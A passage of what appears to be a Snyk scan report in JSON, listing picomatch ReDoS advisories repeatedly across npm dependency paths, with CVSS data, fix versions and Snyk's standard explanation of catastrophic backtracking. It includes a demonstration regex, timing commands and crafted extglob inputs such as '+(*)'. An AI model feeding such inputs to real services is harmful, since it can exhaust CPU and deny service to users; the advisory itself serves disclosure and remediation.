very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
